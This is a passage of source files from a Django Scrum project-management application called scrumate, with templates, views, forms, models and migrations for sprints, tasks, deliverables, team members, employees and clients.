{% for spr in sprints %}
<tr>
<td>{{ forloop.counter }}</td>
<td>
<a href="{% url 'sprint_view' project_id=project.id pk=spr.id %}">
{{ spr.name }}</a>
</td>
<td>{{ spr.department.name }}</td>
<td>{{ spr.start_date }}</td>
<td>{{ spr.end_date }}</td>
<td>
{% if perms.core.update_sprint_status %}
<a href="{% url 'update_sprint_status' project_id=project.id pk=spr.id %}">{{ spr.get_status_display }}</a>
{% else %}
{{ spr.get_status_display }}
{% endif %}
</td>
<td>
<a href="{% url 'sprint_task_list' project_id=project.id pk=spr.id %}">
<i class="fa fa-tasks fa-lg"></i></a>
<a class="float-right ml-1" href="{% url 'sprint_history' project_id=project.id pk=spr.id %}">
<i class="fa fa-history fa-lg"></i></a>
<a class="float-right mr-1" href="{% url 'sprint_edit' project_id=project.id pk=spr.id %}">
<i class="fa fa-edit fa-lg"></i></a>
</td>
</tr>
{% endfor %}
</tbody>
</table>
{% if sprints.has_other_pages %}
<ul class="pagination">
{% if sprints.has_previous %}
<li class="page-item"><a class="page-link" href="?page={{ sprints.previous_page_number }}">«</a></li>
{% else %}
<li class="page-item disabled"><span class="page-link">«</span></li>
{% endif %}
{% for i in sprints.paginator.page_range %}
{% if sprints.number == i %}
<li class="page-item active"><span class="page-link">{{ i }} <span class="sr-only">(current)</span></span></li>
{% else %}
<li class="page-item"><a class="page-link" href="?page={{ i }}">{{ i }}</a></li>
{% endif %}
{% endfor %}
{% if sprints.has_next %}
<li class="page-item"><a class="page-link" href="?page={{ sprints.next_page_number }}">»</a></li>
{% else %}
<li class="page-item disabled"><span class="page-link">»</span></li>
{% endif %}
</ul>
{% endif %}
</div>
</div>
</div>
</div>
</div>
{% endblock %}
<file_sep>/scrumate/core/daily_scrum/urls.py
from django.urls import path
from scrumate.core.daily_scrum import views
urlpatterns = [
path('', views.daily_scrum_entry, name='daily_scrum'),
path('<int:deliverable_id>/set_actual_hour/', views.set_actual_hour, name='set_actual_hour'),
path('<int:deliverable_id>/update_actual_hour/', views.update_actual_hour, name='update_actual_hour'),
path('<int:deliverable_id>/assign_dev/', views.assign_dev, name='assign_dev'),
]
<file_sep>/scrumate/core/release/filters.py
import django_filters
from scrumate.core.release.models import Release
class ReleaseFilter(django_filters.FilterSet):
name = django_filters.CharFilter(lookup_expr='icontains', label='Name')
class Meta:
model = Release
fields = ['name']
<file_sep>/scrumate/core/member/views.py
from django.shortcuts import render, redirect, get_object_or_404
from django.contrib import messages
from django.contrib.auth.decorators import login_required, permission_required
from scrumate.general.decorators import project_owner
from scrumate.core.project.models import Project
from scrumate.core.member.models import ProjectMember
from scrumate.core.member.forms import ProjectMemberForm
@login_required(login_url='/login/')
@permission_required('core.project_members', raise_exception=True)
def project_member_list(request, project_id, **kwargs):
project = Project.objects.get(pk=project_id)
member_list = project.projectmember_set.all()
return render(request, 'core/projects/project_member_list.html', {
'member_list': member_list,
'project': project
})
@project_owner
@login_required(login_url='/login/')
@permission_required('core.project_members', raise_exception=True)
def project_member_add(request, project_id, **kwargs):
project = Project.objects.get(pk=project_id)
if request.method == 'POST':
form = ProjectMemberForm(request.POST)
user_id = request.POST.get('user')
already_assigned = ProjectMember.objects.filter(project_id=project_id, user_id=user_id).count()
if already_assigned:
form.add_error('user', 'User is already in the team!')
messages.warning(request, f'User already assigned to "{project.name}"!')
elif form.is_valid():
member = form.save(commit=False)
member.project = project
member.save()
messages.success(request, f'Member added to "{project.name}" successfully!')
return redirect('project_member_list', permanent=True, project_id=project_id)
else:
form = ProjectMemberForm()
title = 'Add Member'
return render(request, 'core/common_add.html', {'form': form, 'title': title,
'list_url_name': 'project_member_list', 'project': project})
@project_owner
@login_required(login_url='/login/')
@permission_required('core.project_members', raise_exception=True)
def project_member_edit(request, project_id, pk, **kwargs):
instance = get_object_or_404(ProjectMember, id=pk)
form = ProjectMemberForm(request.POST or None, instance=instance)
if form.is_valid():
form.save()
messages.success(request, f'Member updated successfully!')
return redirect('project_member_list', permanent=True, project_id=project_id)
title = 'Edit Member'
project = Project.objects.get(pk=project_id)
return render(request, 'core/common_add.html', {'form': form, 'title': title,
'list_url_name': 'project_member_list', 'project': project})
@project_owner
@login_required(login_url='/login/')
@permission_required('core.project_members', raise_exception=True)
def project_member_delete(request, project_id, pk, **kwargs):
instance = get_object_or_404(ProjectMember, id=pk)
if instance:
instance.delete()
messages.success(request, f'Member deleted successfully!')
return redirect('project_member_list', permanent=True, project_id=project_id)
title = 'Delete Member'
project = Project.objects.get(pk=project_id)
return render(request, 'core/common_add.html', {'title': title,
'list_url_name': 'project_member_list', 'project': project})
<file_sep>/scrumate/core/deliverable/urls.py
from django.urls import path
from scrumate.core.deliverable import views
from scrumate.core.deliverable import api
urlpatterns = [
path('', views.deliverable_list, name='deliverable_list'),
path('add/', views.deliverable_add, name='deliverable_add'),
path('<int:pk>/', views.DeliverableDetailView.as_view(), name='deliverable_view'),
path('<int:pk>/edit/', views.deliverable_edit, name='deliverable_edit'),
path('<int:pk>/update_status/', views.update_deliverable_status, name='update_deliverable_status'),
path('<int:pk>/history/', views.DeliverableHistoryList.as_view(), name='deliverable_history'),
# API
path('<int:pk>/deliverable_info/', api.deliverable_info, name='deliverable_info'),
]
<file_sep>/scrumate/core/migrations/0002_auto_20190509_1803.py
# Generated by Django 2.2.1 on 2019-05-09 18:03
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('core', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
name='sprint',
options={'permissions': (('update_sprint_status', 'Can Update Status of Sprint'), ('sprint_status_report', 'Can See Sprint Status Report'), ('sprint_status_report_download', 'Can Download Sprint Status Report'))},
),
]
<file_sep>/scrumate/core/task/choices.py
from djchoices import DjangoChoices, ChoiceItem
class TaskStatus(DjangoChoices):
Pending = ChoiceItem(1, 'Pending')
InProgress = ChoiceItem(2, 'In Progress')
PartiallyDone = ChoiceItem(3, 'Partially Done')
Done = ChoiceItem(4, 'Done')
Delivered = ChoiceItem(5, 'Delivered')
NotDone = ChoiceItem(6, 'Not Done')
Rejected = ChoiceItem(7, 'Rejected')
class Category(DjangoChoices):
Analysis = ChoiceItem(1, 'Analysis')
Development = ChoiceItem(2, 'Development')
Testing = ChoiceItem(3, 'Testing')
Implementation = ChoiceItem(4, 'Implementation')
<file_sep>/scrumate/core/sprint/choices.py
from djchoices import DjangoChoices, ChoiceItem
class SprintStatus(DjangoChoices):
Pending = ChoiceItem(1, 'Pending')
OnGoing = ChoiceItem(2, 'On Going')
Completed = ChoiceItem(3, 'Completed')
<file_sep>/scrumate/core/migrations/0007_auto_20190519_1147.py
# Generated by Django 2.2.1 on 2019-05-19 11:47
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0006_projectmember'),
]
operations = [
migrations.AlterField(
model_name='projectmember',
name='role',
field=models.IntegerField(choices=[(1, 'ProjectOwner'), (2, 'TeamLead'), (3, 'Developer')], default=3),
),
]
<file_sep>/scrumate/general/utils.py
import json
from datetime import timedelta
from django.http import JsonResponse
from django.shortcuts import get_object_or_404
from django.forms.models import model_to_dict
def date_range(start_date, end_date):
for n in range(int((end_date - start_date).days) + 1):
yield start_date + timedelta(n)
def generate_day_wise_label(start_date, end_date):
count = 1
data = {}
for single_date in date_range(start_date, end_date):
data[count] = single_date.strftime('%Y-%m-%d')
count += 1
return json.dumps(data)
def json_data(model, pk):
instance = get_object_or_404(model, id=pk)
data = {}
if instance:
data = model_to_dict(instance)
return JsonResponse(data)
<file_sep>/scrumate/people/admin.py
from django.contrib import admin
from simple_history.admin import SimpleHistoryAdmin
from scrumate.people.models import Department, Designation, Employee, Client
admin.site.register(Department, SimpleHistoryAdmin)
admin.site.register(Designation, SimpleHistoryAdmin)
admin.site.register(Employee, SimpleHistoryAdmin)
admin.site.register(Client, SimpleHistoryAdmin)
<file_sep>/Pipfile
[[source]]
name = "pypi"
url = "https://pypi.org/simple"
verify_ssl = true
[dev-packages]
[packages]
django = "*"
django-filter = "*"
django-widget-tweaks = "*"
django-select2 = "*"
django-choices = "*"
PyGithub = "*"
xhtml2pdf = "*"
django-watchman = "*"
pywatchman = "*"
pytest = "*"
pytest-django = "*"
pytest-xdist = "*"
factory-boy = "*"
Faker = "*"
pytest-cov = "*"
django-activity-stream = "*"
django-jsonfield = "*"
django-jsonfield-compat = "*"
django-simple-history = "*"
django-contrib-comments = "*"
[requires]
python_version = "3.7"
[pipenv]
allow_prereleases = true
<file_sep>/scrumate/people/migrations/0004_auto_20190622_1941.py
# Generated by Django 2.2.2 on 2019-06-22 19:41
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('people', '0003_historicaluser'),
]
operations = [
migrations.AlterModelOptions(
name='client',
options={'permissions': (('client_history', 'Can See Client History'),)},
),
migrations.AlterModelOptions(
name='employee',
options={'permissions': (('employee_history', 'Can See Employee History'),)},
),
]
<file_sep>/scrumate/core/task/forms.py
from django.forms import ModelForm, DateInput
from django_select2.forms import ModelSelect2Widget, Select2Widget
from scrumate.core.task.models import Task
from scrumate.core.task.choices import TaskStatus, Category
from scrumate.core.project.models import Project
from scrumate.core.user_story.models import UserStory
from scrumate.core.issue.models import Issue
from scrumate.core.release.models import Release
from scrumate.general.choices import Priority
from scrumate.people.models import Employee
class TaskForm(ModelForm):
class Meta:
model = Task
fields = '__all__'
exclude = ('project', 'release', 'code', 'category', 'responsible', 'assigned_by', 'assign_date', 'approved_by',
'approved_date', 'parent_task', 'estimation')
widgets = {
'start_date': DateInput(attrs={'type': 'date'}),
'end_date': DateInput(attrs={'type': 'date'}),
'assign_date': DateInput(attrs={'type': 'date'}),
'approved_date': DateInput(attrs={'type': 'date'}),
'project': ModelSelect2Widget(model=Project, search_fields=['name__icontains']),
'release': ModelSelect2Widget(model=Release, search_fields=['name__icontains'],
dependent_fields={'project': 'project'}, max_results=500),
'user_story': ModelSelect2Widget(model=UserStory, search_fields=['summary__icontains'],
dependent_fields={'release': 'release'}, max_results=500),
'issue': ModelSelect2Widget(model=Issue, search_fields=['name__icontains']),
'responsible': ModelSelect2Widget(model=Employee, search_fields=['full_name__icontains']),
'assignee': ModelSelect2Widget(model=Employee, search_fields=['full_name__icontains']),
'assigned_by': ModelSelect2Widget(model=Employee, search_fields=['full_name__icontains']),
'approved_by': ModelSelect2Widget(model=Employee, search_fields=['full_name__icontains']),
'parent_task': ModelSelect2Widget(model=Task, search_fields=['name__icontains']),
'category': Select2Widget(choices=Category.choices),
'priority': Select2Widget(choices=Priority.choices),
'status': Select2Widget(choices=TaskStatus.choices),
}
<file_sep>/scrumate/general/choices.py
from djchoices import DjangoChoices, ChoiceItem
class Priority(DjangoChoices):
Low = ChoiceItem(1, 'Low')
Medium = ChoiceItem(2, 'Medium')
High = ChoiceItem(3, 'High')
class Column(DjangoChoices):
One = ChoiceItem(1, 'One')
Two = ChoiceItem(2, 'Two')
Three = ChoiceItem(3, 'Three')
<file_sep>/scrumate/core/migrations/0011_auto_20190531_1826.py
# Generated by Django 2.2.1 on 2019-05-31 18:26
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('core', '0010_auto_20190531_1804'),
]
operations = [
migrations.RenameField(
model_name='projectcommitlog',
old_name='author_html_url',
new_name='html_url',
),
migrations.RenameField(
model_name='projectcommitlog',
old_name='author_url',
new_name='url',
),
migrations.AlterField(
model_name='projectcommitlog',
name='project',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='commit_log', to='core.Project'),
),
migrations.AlterField(
model_name='projectcommitlog',
name='sha',
field=models.CharField(max_length=256, unique=True),
),
]
<file_sep>/scrumate/people/views.py
from django.conf import settings
from django.contrib import messages
from django.contrib.auth import get_user_model
from django.contrib.auth import update_session_auth_hash
from django.contrib.auth.decorators import login_required
from django.contrib.auth.forms import PasswordChangeForm
from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger
from django.shortcuts import render, redirect, get_object_or_404
from django.views.generic import DetailView
from django.urls import reverse
from scrumate.people.filters import DepartmentFilter, DesignationFilter, EmployeeFilter, ClientFilter
from scrumate.people.forms import DepartmentForm, DesignationForm, EmployeeForm, ClientForm
from scrumate.people.models import Department, Designation, Employee, Client
from scrumate.general.views import HistoryList
User = get_user_model()
@login_required(login_url='/login/')
def profile(request, **kwargs):
employee = request.user.employee if request.user and hasattr(request.user, 'employee') else None
return render(request, 'people/profile.html', {'employee': employee})
def change_password(request):
if request.method == 'POST':
form = PasswordChangeForm(request.user, request.POST)
if form.is_valid():
user = form.save()
update_session_auth_hash(request, user)
messages.success(request, 'Your password was successfully updated!')
return redirect('change_password')
else:
messages.error(request, 'Please correct the error below.')
else:
form = PasswordChangeForm(request.user)
return render(request, 'people/change_password.html', {'form': form})
@login_required(login_url='/login/')
def department_list(request, **kwargs):
department_filter = DepartmentFilter(request.GET, queryset=Department.objects.all())
department_list = department_filter.qs
page = request.GET.get('page', 1)
paginator = Paginator(department_list, settings.PAGE_SIZE)
try:
departments = paginator.page(page)
except PageNotAnInteger:
departments = paginator.page(1)
except EmptyPage:
departments = paginator.page(paginator.num_pages)
return render(request, 'people/department_list.html', {'departments': departments, 'filter': department_filter})
@login_required(login_url='/login/')
def department_add(request, **kwargs):
if request.method == 'POST':
form = DepartmentForm(request.POST)
if form.is_valid():
department = form.save()
messages.success(request, f'"{department.name}" added successfully!')
return redirect('department_list', permanent=True)
else:
messages.success(request, f'Invalid data!')
else:
form = DepartmentForm()
title = 'New Department'
return render(request, 'people/common_people_add.html', {'form': form, 'title': title, 'list_url_name': 'department_list'})
@login_required(login_url='/login/')
def department_edit(request, pk, **kwargs):
instance = get_object_or_404(Department, id=pk)
form = DepartmentForm(request.POST or None, instance=instance)
if form.is_valid():
department = form.save()
messages.success(request, f'"{department.name}" updated successfully!')
return redirect('department_list')
else:
messages.success(request, f'Invalid data!')
title = 'Edit Department'
return render(request, 'people/common_people_add.html', {'form': form, 'title': title, 'list_url_name': 'department_list'})
@login_required(login_url='/login/')
def designation_list(request, **kwargs):
designation_filter = DesignationFilter(request.GET, queryset=Designation.objects.all())
designation_list = designation_filter.qs
page = request.GET.get('page', 1)
paginator = Paginator(designation_list, settings.PAGE_SIZE)
try:
designations = paginator.page(page)
except PageNotAnInteger:
designations = paginator.page(1)
except EmptyPage:
designations = paginator.page(paginator.num_pages)
return render(request, 'people/designation_list.html', {'designations': designations, 'filter': designation_filter})
@login_required(login_url='/login/')
def designation_add(request, **kwargs):
if request.method == 'POST':
form = DesignationForm(request.POST)
if form.is_valid():
designation = form.save()
messages.success(request, f'"{designation.name}" added successfully!')
return redirect('designation_list', permanent=True)
else:
messages.success(request, f'Invalid data!')
else:
form = DesignationForm()
title = 'New Designation'
return render(request, 'people/common_people_add.html', {'form': form, 'title': title, 'list_url_name': 'designation_list'})
@login_required(login_url='/login/')
def designation_edit(request, pk, **kwargs):
instance = get_object_or_404(Designation, id=pk)
form = DesignationForm(request.POST or None, instance=instance)
if form.is_valid():
designation = form.save()
messages.success(request, f'"{designation.name}" updated successfully!')
return redirect('designation_list')
else:
messages.success(request, f'Invalid data!')
title = 'Edit Designation'
return render(request, 'people/common_people_add.html', {'form': form, 'title': title, 'list_url_name': 'designation_list'})
@login_required(login_url='/login/')
def employee_list(request, **kwargs):
employee_filter = EmployeeFilter(request.GET, queryset=Employee.objects.all())
employee_list = employee_filter.qs
page = request.GET.get('page', 1)
paginator = Paginator(employee_list, settings.PAGE_SIZE)
try:
employees = paginator.page(page)
except PageNotAnInteger:
employees = paginator.page(1)
except EmptyPage:
employees = paginator.page(paginator.num_pages)
return render(request, 'people/employee_list.html', {'employees': employees, 'filter': employee_filter})
@login_required(login_url='/login/')
def employee_add(request, **kwargs):
if request.method == 'POST':
form = EmployeeForm(request.POST)
if form.is_valid():
user = User.objects.create_user(
first_name=form.cleaned_data['first_name'],
last_name=form.cleaned_data['last_name'],
username=form.cleaned_data['username'],
password=form.cleaned_data['password'],
email=form.cleaned_data['email']
)
user.save()
employee = form.save(commit=False)
if user:
employee.user = user
employee.save()
messages.success(request, f'Employee "{employee.full_name}" created successfully!')
return redirect('employee_list', permanent=True)
else:
messages.success(request, f'Invalid data!')
else:
form = EmployeeForm()
title = 'New Employee'
return render(request, 'people/common_people_add.html', {'form': form, 'title': title, 'list_url_name': 'employee_list'})
@login_required(login_url='/login/')
def employee_edit(request, pk, **kwargs):
instance = get_object_or_404(Employee, id=pk)
form = EmployeeForm(request.POST or None, instance=instance)
if form.is_valid():
employee = form.save()
messages.success(request, f'Employee "{employee.full_name}" updated successfully!')
return redirect('employee_list')
else:
messages.success(request, f'Invalid data!')
title = 'Edit Employee'
return render(request, 'people/common_people_add.html', {'form': form, 'title': title, 'list_url_name': 'employee_list'})
@login_required(login_url='/login/')
def client_list(request, **kwargs):
client_filter = ClientFilter(request.GET, queryset=Client.objects.all())
client_list = client_filter.qs
page = request.GET.get('page', 1)
paginator = Paginator(client_list, settings.PAGE_SIZE)
try:
clients = paginator.page(page)
except PageNotAnInteger:
clients = paginator.page(1)
except EmptyPage:
clients = paginator.page(paginator.num_pages)
return render(request, 'people/client_list.html', {'clients': clients, 'filter': client_filter})
@login_required(login_url='/login/')
def client_add(request, **kwargs):
if request.method == 'POST':
form = ClientForm(request.POST)
if form.is_valid():
client = form.save()
messages.success(request, f'Client "{client.full_name}" created successfully!')
return redirect('client_list', permanent=True)
else:
messages.success(request, f'Invalid data!')
else:
form = ClientForm()
title = 'New Client'
return render(request, 'people/common_people_add.html', {'form': form, 'title': title, 'list_url_name': 'client_list'})
@login_required(login_url='/login/')
def client_edit(request, pk, **kwargs):
instance = get_object_or_404(Client, id=pk)
form = ClientForm(request.POST or None, instance=instance)
if form.is_valid():
client = form.save()
messages.success(request, f'Client "{client.full_name}" updated successfully!')
return redirect('client_list')
else:
messages.success(request, f'Invalid data!')
title = 'Edit Client'
return render(request, 'people/common_people_add.html', {'form': form, 'title': title, 'list_url_name': 'client_list'})
class ClientHistoryList(HistoryList):
permission_required = 'scrumate.people.client_history'
def get_client_id(self):
return self.kwargs.get('pk')
def get_queryset(self):
return Client.history.filter(id=self.get_client_id())
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
client = Client.objects.get(pk=self.get_client_id())
context['title'] = f'History of {client.full_name}'
context['back_url'] = reverse('client_list')
context['base_template'] = 'general/index_settings.html'
return context
class EmployeeHistoryList(HistoryList):
permission_required = 'scrumate.people.employee_history'
def get_employee_id(self):
return self.kwargs.get('pk')
def get_queryset(self):
return Employee.history.filter(id=self.get_employee_id())
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
employee = Employee.objects.get(pk=self.get_employee_id())
context['title'] = f'History of {employee.full_name}'
context['back_url'] = reverse('employee_list')
context['base_template'] = 'general/index_settings.html'
return context
class DesignationHistoryList(HistoryList):
permission_required = 'scrumate.people.designation_history'
def get_designation_id(self):
return self.kwargs.get('pk')
def get_queryset(self):
return Designation.history.filter(id=self.get_designation_id())
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
designation = Designation.objects.get(pk=self.get_designation_id())
context['title'] = f'History of {designation.name}'
context['back_url'] = reverse('designation_list')
context['base_template'] = 'general/index_settings.html'
return context
class DepartmentHistoryList(HistoryList):
permission_required = 'scrumate.people.department_history'
def get_department_id(self):
return self.kwargs.get('pk')
def get_queryset(self):
return Department.history.filter(id=self.get_department_id())
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
department = Department.objects.get(pk=self.get_department_id())
context['title'] = f'History of {department.name}'
context['back_url'] = reverse('department_list')
context['base_template'] = 'general/index_settings.html'
return context
class EmployeeDetailView(DetailView):
queryset = Employee.objects.all()
template_name = 'includes/generic_view.html'
context_object_name = 'employee'
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
instance = self.get_object()
context['form'] = EmployeeForm(instance=instance)
context['edit_url'] = reverse('employee_edit', kwargs={'pk': instance.pk})
context['list_url'] = reverse('employee_list')
context['title'] = instance.full_name
context['base_template'] = 'general/index_settings.html'
return context
class ClientDetailView(DetailView):
queryset = Client.objects.all()
template_name = 'includes/generic_view.html'
context_object_name = 'client'
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
instance = self.get_object()
context['form'] = ClientForm(instance=instance)
context['edit_url'] = reverse('client_edit', kwargs={'pk': instance.pk})
context['list_url'] = reverse('client_list')
context['title'] = instance.full_name
context['base_template'] = 'general/index_settings.html'
return context
class DesignationDetailView(DetailView):
queryset = Designation.objects.all()
template_name = 'includes/generic_view.html'
context_object_name = 'designation'
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
instance = self.get_object()
context['form'] = DesignationForm(instance=instance)
context['edit_url'] = reverse('designation_edit', kwargs={'pk': instance.pk})
context['list_url'] = reverse('designation_list')
context['title'] = instance.name
context['base_template'] = 'general/index_settings.html'
return context
class DepartmentDetailView(DetailView):
queryset = Department.objects.all()
template_name = 'includes/generic_view.html'
context_object_name = 'department'
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
instance = self.get_object()
context['form'] = DepartmentForm(instance=instance)
context['edit_url'] = reverse('department_edit', kwargs={'pk': instance.pk})
context['list_url'] = reverse('department_list')
context['title'] = instance.name
context['base_template'] = 'general/index_settings.html'
return context
<file_sep>/scrumate/people/choices.py
from djchoices import DjangoChoices, ChoiceItem
class PartyType(DjangoChoices):
Employee = ChoiceItem(1, 'Employee')
Customer = ChoiceItem(2, 'Customer')
Vendor = ChoiceItem(3, 'Vendor')
class PartySubType(DjangoChoices):
Individual = ChoiceItem(1, 'Individual')
Organization = ChoiceItem(2, 'Organization')
class PartyGender(DjangoChoices):
Male = ChoiceItem(1, 'Male')
Female = ChoiceItem(2, 'Female')
class PartyTitle(DjangoChoices):
Mr = ChoiceItem(1, 'Mr.')
Mrs = ChoiceItem(2, 'Mrs.')
Miss = ChoiceItem(3, 'Miss')
<file_sep>/scrumate/core/task/views.py
from datetime import datetime
from django.conf import settings
from django.contrib import messages
from django.shortcuts import render, redirect, reverse, get_object_or_404
from django.contrib.auth.decorators import login_required, permission_required
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from django.views.generic import DetailView
from scrumate.core.project.models import Project
from scrumate.core.task.models import Task
from scrumate.general.decorators import owner_or_lead
from scrumate.core.task.filters import TaskFilter
from scrumate.core.task.forms import TaskForm
from scrumate.general.views import HistoryList
@login_required(login_url='/login/')
def task_list(request, project_id, **kwargs):
task_filter = TaskFilter(request.GET, queryset=Task.objects.filter(project_id=project_id).order_by('-id'))
task_list = task_filter.qs
page = request.GET.get('page', 1)
paginator = Paginator(task_list, settings.PAGE_SIZE)
try:
tasks = paginator.page(page)
except PageNotAnInteger:
tasks = paginator.page(1)
except EmptyPage:
tasks = paginator.page(paginator.num_pages)
project = Project.objects.get(pk=project_id)
return render(request, 'core/task_list.html', {'tasks': tasks, 'filter': task_filter, 'project': project})
@owner_or_lead
@login_required(login_url='/login/')
def task_add(request, project_id, **kwargs):
if request.method == 'POST':
form = TaskForm(request.POST)
if form.is_valid():
task = form.save(commit=False)
task.project = task.user_story.project
task.release = task.user_story.release
task.assigned_by = getattr(request.user, 'employee', None)
task.assign_date = datetime.today()
task.save()
messages.success(request, "Task added successfully!")
return redirect('task_list', permanent=True, project_id=project_id)
else:
messages.error(request, "Invalid data!")
else:
form = TaskForm()
title = 'New Task'
project = Project.objects.get(pk=project_id)
return render(request, 'core/common_add.html', {'form': form, 'title': title, 'list_url_name': 'task_list', 'project': project})
@owner_or_lead
@login_required(login_url='/login/')
def task_edit(request, project_id, pk, **kwargs):
instance = get_object_or_404(Task, id=pk)
form = TaskForm(request.POST or None, instance=instance)
if form.is_valid():
form.save()
messages.success(request, "Task updated successfully!")
return redirect('task_list', project_id=project_id)
else:
messages.error(request, "Invalid data!")
title = 'Edit Task'
project = Project.objects.get(pk=project_id)
return render(request, 'core/common_add.html', {'form': form, 'title': title, 'list_url_name': 'task_list', 'project': project})
@owner_or_lead
@login_required(login_url='/login/')
@permission_required('core.update_task_status', raise_exception=True)
def update_task_status(request, project_id, pk, **kwargs):
instance = get_object_or_404(Task, id=pk)
form = TaskForm(request.POST or None, instance=instance)
if request.POST:
status = request.POST.get('status')
instance.status = status
instance.save()
messages.success(request, "Task status updated successfully!")
return redirect('task_list', project_id=project_id)
project = Project.objects.get(pk=project_id)
return render(request, 'includes/single_field.html', {
'field': form.visible_fields()[7],
'title': 'Update Status',
'url': reverse('task_list', kwargs={'project_id': project_id}),
'project': project,
'base_template': 'general/index_project_view.html'
})
class TaskHistoryList(HistoryList):
permission_required = 'scrumate.core.task_history'
def get_task_id(self):
return self.kwargs.get('pk')
def get_project_id(self):
return self.kwargs.get('project_id')
def get_queryset(self):
return Task.history.filter(id=self.get_task_id())
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
project = Project.objects.get(pk=self.get_project_id())
task = Task.objects.get(pk=self.get_task_id())
context['project'] = project
context['title'] = f'History of {task.name}'
context['back_url'] = reverse('task_list', kwargs={'project_id': self.get_project_id()})
context['base_template'] = 'general/index_project_view.html'
return context
class TaskDetailView(DetailView):
queryset = Task.objects.all()
template_name = 'includes/generic_view.html'
context_object_name = 'task'
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
project_id = self.kwargs.get('project_id')
instance = self.get_object()
context['form'] = TaskForm(instance=instance)
context['edit_url'] = reverse('task_edit', kwargs={'project_id': project_id, 'pk': instance.pk})
context['list_url'] = reverse('task_list', kwargs={'project_id': project_id})
context['title'] = instance.name
context['project'] = Project.objects.get(pk=project_id)
context['base_template'] = 'general/index_project_view.html'
return context
<file_sep>/scrumate/pytest.ini
[pytest]
DJANGO_SETTINGS_MODULE = scrumate.settings
<file_sep>/scrumate/templates/includes/generic_view.html
{% extends base_template %}
{% load widget_tweaks %}
{% load comments %}
{% block content %}
<div class="col-sm-12">
<div class="card">
<div class="card-header text-white bg-xing">
<strong>{{ title }}</strong>
{% if user.is_authenticated %}
<span class="float-right">
<a class="ml-3" href="{{ edit_url }}">
<i class="fa fa-edit fa-lg text-white"></i>
</a>
<a class="ml-3" href="{{ list_url }}">
<i class="fa fa-list fa-lg text-white"></i>
</a>
</span>
{% endif %}
</div>
<div class="card-body">
<div class="row">
{% for field in form.visible_fields %}
<div class="col-5 ml-3 mr-3">
<div class="form-group">
{{ field.label_tag }}
{% render_field field class="form-control" placeholder=field.text.label readonly="readonly" %}
</div>
</div>
{% endfor %}
{% if user.is_authenticated %}
{% get_comment_form for object as form %}
<form action="{% comment_form_target %}" method="POST">
{% csrf_token %}
{{ form.comment }}
{{ form.honeypot }}
{{ form.content_type }}
{{ form.object_pk }}
{{ form.timestamp }}
{{ form.security_hash }}
<input type="hidden" name="next" value="{{ list_url }}" />
<input type="submit" value="Add comment" id="id_submit" />
</form>
{% else %}
<p>Please <a href="{% url 'auth_login' %}">log in</a> to leave a comment.</p>
{% endif %}
</div>
</div>
</div>
</div>
{% endblock %}
<file_sep>/scrumate/core/migrations/0014_auto_20190605_0531.py
# Generated by Django 2.2.2 on 2019-06-05 05:31
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('core', '0013_auto_20190602_1130'),
]
operations = [
migrations.RemoveField(
model_name='dashboardportlet',
name='dashboard',
),
migrations.RemoveField(
model_name='dashboardportlet',
name='portlet',
),
migrations.DeleteModel(
name='Label',
),
migrations.RemoveField(
model_name='useractivity',
name='user',
),
migrations.DeleteModel(
name='Dashboard',
),
migrations.DeleteModel(
name='DashboardPortlet',
),
migrations.DeleteModel(
name='Portlet',
),
migrations.DeleteModel(
name='UserActivity',
),
]
<file_sep>/scrumate/core/deliverable/models.py
from django.db import models
from simple_history.models import HistoricalRecords
from scrumate.core.deliverable.choices import DeliverableStatus
from scrumate.core.task.models import Task
from scrumate.core.project.models import Project
from scrumate.core.sprint.models import Sprint
from scrumate.general.choices import Priority
from scrumate.people.models import Employee
class Deliverable(models.Model):
project = models.ForeignKey(Project, on_delete=models.SET_NULL, default=None, null=True, blank=True)
task = models.ForeignKey(Task, on_delete=models.SET_NULL, default=None, null=True)
name = models.CharField(max_length=100)
description = models.TextField(default='', null=True, blank=True)
sprint = models.ForeignKey(Sprint, on_delete=models.SET_NULL, default=None, null=True)
estimated_hour = models.DecimalField(verbose_name='Point', default=0.0, decimal_places=2, max_digits=15, null=True, blank=True)
actual_hour = models.DecimalField(verbose_name='Actual Point', default=0.0, decimal_places=2, max_digits=15, null=True, blank=True)
priority = models.IntegerField(choices=Priority.choices, default=Priority.High, null=True, blank=True)
assignee = models.ForeignKey(Employee, on_delete=models.SET_NULL, default=None, null=True)
assign_date = models.DateField(default=None, null=True, blank=True)
release_date = models.DateField(default=None, null=True, blank=True)
status = models.IntegerField(choices=DeliverableStatus.choices, default=DeliverableStatus.Pending, null=True, blank=True)
history = HistoricalRecords()
def __str__(self):
return self.name
class Meta:
permissions = (
("update_deliverable_status", "Can Update Status of Deliverable"),
("deliverable_history", "Can See Deliverable History"),
)<file_sep>/scrumate/core/task/models.py
from django.db import models
from simple_history.models import HistoricalRecords
from scrumate.core.issue.models import Issue
from scrumate.core.project.models import Project
from scrumate.core.release.models import Release
from scrumate.core.task.choices import Category, TaskStatus
from scrumate.core.user_story.models import UserStory
from scrumate.general.choices import Priority
from scrumate.people.models import Employee
class Task(models.Model):
name = models.CharField(max_length=100)
code = models.CharField(max_length=50, null=True, blank=True)
project = models.ForeignKey(Project, on_delete=models.SET_NULL, default=None, null=True, blank=True)
release = models.ForeignKey(Release, on_delete=models.SET_NULL, default=None, null=True, blank=True)
user_story = models.ForeignKey(UserStory, on_delete=models.CASCADE)
issue = models.ForeignKey(Issue, on_delete=models.SET_NULL, default=None, null=True, blank=True)
